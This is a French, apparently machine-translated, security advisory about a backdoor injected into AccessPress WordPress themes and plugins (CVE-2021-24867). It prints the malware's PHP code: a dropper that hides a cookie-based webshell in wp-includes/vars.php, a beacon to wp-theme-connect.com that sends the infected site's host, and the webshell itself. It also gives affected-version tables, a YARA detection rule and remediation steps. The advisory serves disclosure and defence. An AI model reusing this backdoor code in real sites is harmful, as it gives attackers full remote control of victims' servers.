AccessPress : Backdoor trouvée dans les thèmes et plugins

(Dernière mise à jour le: 29 janvier 2022)

En enquêtant sur un site compromis, nous avons découvert du code suspect dans un thème d’AccessPress Themes (alias Access Keys), un fournisseur proposant un grand nombre de thèmes et de plugins populaires. Après une enquête plus approfondie, nous avons constaté que tous les thèmes et la plupart des plug-ins du fournisseur contenaient ce code suspect, mais uniquement s’ils étaient téléchargés à partir de leur propre site Web. Les mêmes extensions étaient correctes si elles étaient téléchargées ou installées directement à partir du répertoire WordPress.org.

En raison de la manière dont les extensions ont été compromises, nous soupçonnions qu’un attaquant externe avait pénétré le site Web d’AccessPress Themes dans le but d’utiliser leurs extensions pour infecter d’autres sites.

Nous avons immédiatement contacté le vendeur, mais au début, nous n’avons pas reçu de réponse. Après l’avoir transmis à l’équipe du plugin WordPress.org, nos soupçons ont été confirmés. Les sites Web AccessPress Themes ont été piratés au cours de la première moitié de septembre 2021, et les extensions disponibles en téléchargement sur leur site ont été injectées avec une porte dérobée.

Une fois que nous avons établi un canal de communication avec le fournisseur, nous lui avons partagé nos conclusions détaillées. Ils ont immédiatement supprimé les extensions incriminées de leur site Web.

La plupart des plugins ont depuis été mis à jour et les versions propres connues sont répertoriées au bas de cet article. Cependant, les thèmes concernés n’ont pas été mis à jour et sont extraits du référentiel de thèmes WordPress.org. Si l’un des thèmes répertoriés au bas de cet article est installé sur votre site, nous vous recommandons de migrer vers un nouveau thème dès que possible.

Cette divulgation concerne un grand nombre d’extensions, à la fois des plugins et des thèmes. Passez à la liste ci-dessous ou lisez la suite pour plus de détails.

Des détails:

Fournisseur : Thèmes AccessPress
Vendor url: https://accesspressthemes.com
Plugins : plusieurs
Thèmes : multiples
CVE : CVE-2021-24867

Analyse:

Les extensions infectées contenaient un dropper pour un webshell qui donne aux attaquants un accès complet aux sites infectés. Le compte-gouttes se trouve dans le fichier inital.phpsitué dans le répertoire principal du plugin ou du thème. Lorsqu’il est exécuté, il installe un webshell basé sur des cookies dans wp-includes/vars.php. La coque est installée en fonction juste devant le wp_is_mobile()fonction avec le nom de wp_is_mobile_fix(). C’est sans doute pour ne pas éveiller les soupçons de quiconque parcourt avec désinvolture le vars.phpdéposer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function makeInit() {
    $b64 = ‘ba’ . ‘se64’ . ‘_dec’ . ‘ode’;
    $b = ‘ZnVuY3Rpb2……..TsKCg==’;
 
    $f = $_SERVER[‘DOCUMENT_ROOT’] . ‘/wp-includes/vars.php’;
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, ‘wp_is_mobile_fix’) === false) {
            $fc = str_replace(‘function wp_is_mobile()’,
                $b64($b) . ‘function wp_is_mobile()’,
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

Une fois le shell installé, le compte-gouttes téléphonera à la maison en chargeant une image distante à partir de l’URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpgavec l’URL du site infecté et des informations sur le thème qu’il utilise comme arguments de requête. Enfin, il supprimera le fichier source du compte-gouttes pour éviter la détection lorsque la requête est terminée.

1
2
3
4
5
6
7
8
9
10
11
12
13
function finishInit() {
    unlink(__FILE__);
}
 
add_action( ‘admin_notices’, ‘wp_notice_plug’, 20 );
if ( !function_exists( ‘wp_notice_plug’ ) ) {
 
    function wp_notice_plug() {
        echo ‘<img style=”display: none;” src=”https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=’%20.%20$_SERVER[“HTTP_HOST”] . ‘&phn=accesspress-anonymous-post”>’;
    }
 
}
register_shutdown_function(‘finishInit’);

Le webshell lui-même se déclenche si la chaîne de l’agent utilisateur dans la requête est wp_is_mobileet la demande contient huit cookies spécifiques. Il rassemble et exécute une charge utile à partir de ces cookies fournis.

1
2
3
4
5
6
7
$is_wp_mobile = ($_SERVER[‘HTTP_USER_AGENT’] == ‘wp_is_mobile’);
$g = $_COOKIE;
 
(count($g) == 8 && $is_wp_mobile) ?
(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) &&
@$_iv()) : $g;

Nous avons également vu une autre variante, vraisemblablement plus ancienne, de la porte dérobée directement intégrée dans le thème/plugin functions.phpdéposer. Cette variante utilise le même mécanisme en rassemblant la charge utile à partir de huit cookies, mais ne filtre pas sur la chaîne d’agent utilisateur de la requête.

Pour s’assurer que le dropper est exécuté, le fichier principal du plugin (pour les plugins) ou le functions.phpfichier (pour les thèmes) ont été modifiés avec du code pour exécuter le inital.phpfichier s’il existe.

1
2
3
4
5
6
7
8
9
if(is_admin()) {
    add_action( “init”, ‘apap_plugin_check’ );
}
 
function apap_plugin_check(){
    if(file_exists(__DIR__ . “/inital.php”)){
        include(__DIR__ . “/inital.php”);
    }
}

Un détail frappant des horodatages des plugins compromis est qu’ils datent tous de début septembre. La majorité date des 6 et 7 septembre, avec quelques fichiers des 2 et 3 septembre. De même pour les thèmes, tous ont été compromis le 22 septembre, sauf accessbuddyle 9 septembre.

En outre, les horodatages dans les archives zip sont très uniformes, avec presque tous les fichiers avec exactement le même horodatage, à l’exception du fichier de plug-in principal modifié et du fichier de compte-gouttes ajouté qui est horodaté quelques minutes plus tard (généralement environ 2 à 5 minutes après les autres fichiers de l’archive).

En regardant les horodatages des fichiers zip téléchargés à partir du wordpress.orgcependant, nous trouvons une distribution d’horodatages correspondant au moment où le plugin/thème a été réellement mis à jour. De plus, la distribution des horodatages dans l’archive est moins uniforme et reflète les fichiers qui ont été mis à jour dans la version et ceux qui sont inchangés par rapport à une version plus ancienne.

Cela nous suggère que les fichiers du site Web d’AccessPress Themes ont été modifiés intentionnellement et dans le cadre d’une action coordonnée après leur publication initiale. Le compromis semble avoir été réalisé en deux temps, un pour les plugins et un plus tard pour les thèmes. Chacun d’eux avec quelques tentatives antérieures, peut-être pour affiner le processus.

Notre enquête n’a porté que sur les thèmes et les plug-ins disponibles gratuitement sur le site Web d’AccessPress Themes. Nous supposons que leurs thèmes professionnels payants sont affectés de la même manière, mais nous ne les avons pas examinés. Si vous avez l’un de ces éléments, veuillez contacter le support d’AccessPress Themes pour plus de conseils.

Thèmes concernés

Si l’un des thèmes ci-dessous est installé sur votre site, nous vous recommandons de migrer vers un autre thème dès que vous le pouvez. AccessPress Themes n’a pas encore fourni de mises à jour pour aucun d’entre eux, et ils ont été extraits du référentiel WordPress.org.

Theme slug Version
accessbuddy 1.0.0
accesspress-basic 3.2.1
accesspress-lite 2.92
accesspress-mag 2.6.5
accesspress-parallax 4.5
accesspress-ray 1.19.5
accesspress-root 2.5
accesspress-staple 1.9.1
accesspress-store 2.4.9
agency-lite 1.1.6
aplite 1.0.6
bingle 1.0.4
bloger 1.2.6
construction-lite 1.2.5
doko 1.0.27
enlighten 1.3.5
fashstore 1.2.1
fotography 2.4.0
gaga-corp 1.0.8
gaga-lite 1.4.2
one-paze 2.2.8
parallax-blog 3.1.1574941215
parallaxsome 1.3.6
punte 1.1.2
revolve 1.3.1
ripple 1.2.0
scrollme 2.1.0
sportsmag 1.2.1
storevilla 1.4.1
swing-lite 1.1.9
the-launcher 1.3.2
the-monday 1.4.1
uncode-lite 1.3.1
unicon-lite 1.2.6
vmag 1.2.7
vmagazine-lite 1.3.5
vmagazine-news 1.0.5
zigcy-baby 1.0.6
zigcy-cosmetics 1.0.5
zigcy-lite 2.0.9
Table 1: Themes and versions compromised by the attack.

Plugins concernés

Si vous avez l’un des plugins suivants avec un numéro de version dans la Bad installé sur votre site, nous vous recommandons de mettre à niveau Clean immédiatement vers la version dans la colonne Il convient de noter que les plugins installés via WordPress.org sont propres, même s’ils sont répertoriés dans la Mauvais colonne Nous recommandons toujours la mise à niveau vers la version propre connue pour être du bon côté.

plugins sans numéro de version dans la Clean colonne

Plugin slug Bad Clean Note
accesspress-anonymous-post 2.8.0 2.8.1 1
accesspress-custom-css 2.0.1 2.0.2
accesspress-custom-post-type 1.0.8 1.0.9
accesspress-facebook-auto-post 2.1.3 2.1.4
accesspress-instagram-feed 4.0.3 4.0.4
accesspress-pinterest 3.3.3 3.3.4
accesspress-social-counter 1.9.1 1.9.2
accesspress-social-icons 1.8.2 1.8.3
accesspress-social-login-lite 3.4.7 3.4.8
accesspress-social-share 4.5.5 4.5.6
accesspress-twitter-auto-post 1.4.5 1.4.6
accesspress-twitter-feed 1.6.7 1.6.8
ak-menu-icons-lite 1.0.9
ap-companion 1.0.7 2
ap-contact-form 1.0.6 1.0.7
ap-custom-testimonial 1.4.6 1.4.7
ap-mega-menu 3.0.5 3.0.6
ap-pricing-tables-lite 1.1.2 1.1.3
apex-notification-bar-lite 2.0.4 2.0.5
cf7-store-to-db-lite 1.0.9 1.1.0
comments-disable-accesspress 1.0.7 1.0.8
easy-side-tab-cta 1.0.7 1.0.8
everest-admin-theme-lite 1.0.7 1.0.8
everest-coming-soon-lite 1.1.0 1.1.1
everest-comment-rating-lite 2.0.4 2.0.5
everest-counter-lite 2.0.7 2.0.8
everest-faq-manager-lite 1.0.8 1.0.9
everest-gallery-lite 1.0.8 1.0.9
everest-google-places-reviews-lite 1.0.9 2.0.0
everest-review-lite 1.0.7
everest-tab-lite 2.0.3 2.0.4
everest-timeline-lite 1.1.1 1.1.2
inline-call-to-action-builder-lite 1.1.0 1.1.1
product-slider-for-woocommerce-lite 1.1.5 1.1.6
smart-logo-showcase-lite 1.1.7 1.1.8
smart-scroll-posts 2.0.8 2.0.9
smart-scroll-to-top-lite 1.0.3 1.0.4
total-gdpr-compliance-lite 1.0.4
total-team-lite 1.1.1 1.1.2
ultimate-author-box-lite 1.1.2 1.1.3
ultimate-form-builder-lite 1.5.0 1.5.1
woo-badge-designer-lite 1.1.0 1.1.1
wp-1-slider 1.2.9 1.3.0
wp-blog-manager-lite 1.1.0 1.1.2
wp-comment-designer-lite 2.0.3 2.0.4
wp-cookie-user-info 1.0.7 1.0.8
wp-facebook-review-showcase-lite 1.0.9
wp-fb-messenger-button-lite 2.0.7
wp-floating-menu 1.4.4 1.4.5
wp-media-manager-lite 1.1.2 1.1.3
wp-popup-banners 1.2.3 1.2.4
wp-popup-lite 1.0.8
wp-product-gallery-lite 1.1.1

Notes:

  1. Ce plugin n’a pas été mis à jour, mais on pense qu’il est propre car la version sur le site Web AccessPress Themes était une version plus ancienne.
  2. Ce plugin n’a pas été mis à jour, mais on pense qu’il est propre car il n’était pas disponible à l’origine sur le site Web AccessPress Themes.

CIO

La règle YARA suivante peut être utilisée pour vérifier si le site a été infecté. Il détectera à la fois la partie compte-gouttes de l’infection ainsi que le webshell installé.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
rule accesspress_backdoor_infection
{
strings:
 
   // IoC’s for the dropper
   $inject0 = “$fc = str_replace(‘function wp_is_mobile()’,”
   $inject1 = “$b64($b) . ‘function wp_is_mobile()’,”
   $inject2 = “$fc);”
   $inject3 = “@file_put_contents($f, $fc);”
 
   // IoC’s for the dumped payload
   $payload0 = “function wp_is_mobile_fix()”
   $payload1 = “$is_wp_mobile = ($_SERVER[‘HTTP_USER_AGENT’] == ‘wp_is_mobile’);”
   $payload2 = “$g = $_COOKIE;”
   $payload3 = “(count($g) == 8 && $is_wp_mobile) ?”
 
   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/
 
condition:
 
   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}

Recommandations

Si vous avez des thèmes ou des plugins installés directement à partir des thèmes AccessPress ou de tout autre endroit à l’exception de WordPress.org, vous devez immédiatement passer à une version sécurisée, comme indiqué dans les tableaux ci-dessus. Si aucune version sécurisée n’est disponible, remplacez-la par la dernière version de WordPress.org.

Veuillez noter que cela ne supprime pas la porte dérobée de votre système, vous devez donc en plus réinstaller une version propre de WordPress pour annuler les modifications du fichier principal effectuées lors de l’installation de la porte dérobée.

Si vous avez un thème ou un plugin payant d’AccessPress Themes/Access Keys, nous vous conseillons de contacter leur support pour obtenir de l’aide.

Nous vous recommandons vivement d’avoir un plan de sécurité pour votre site qui inclut l’analyse et sauvegarde . Jetpack Security est une excellente option de sécurité WordPress pour garantir la sécurité de votre site et de vos visiteurs. Jetpack Scan a détecté toutes les variantes de cette porte dérobée et du dropper depuis le 30 septembre.

Chronologie

2021-09-22 : L’équipe Jetpack Scan découvre le compte-gouttes et la porte dérobée dans le thème FotoGraphy, et essaie de contacter le fournisseur à propos de la découverte initiale.

2021-09-27 : Confirmer la présence de dropper + porte dérobée dans tous les plugins et thèmes gratuits actuels téléchargés à partir du site Web des fournisseurs.

2021-09-28 : Confirmez que le compte-gouttes + porte dérobée n’est pas présent sur les téléchargements de wordpress.org

2021-09-29 : Tentative de recontacter le fournisseur, avec des mises à jour sur les nouvelles découvertes.

14/10/2021 : escalade vers l’équipe des plugins WordPress pour essayer d’obtenir un contact avec le fournisseur.

15/10/2021 : les extensions compromises sont supprimées du site du fournisseur.

2021-10-16 : Réponse du fournisseur

17/01/2022 : La plupart des plugins ont été mis à niveau vers de nouvelles versions, les thèmes ont été extraits de WordPress.org.

2022-01-18 Divulgation publique

FaiblePa malMoyenIntéressantExilent (No Ratings Yet)
Loading...

Laisser un commentaire

Translate »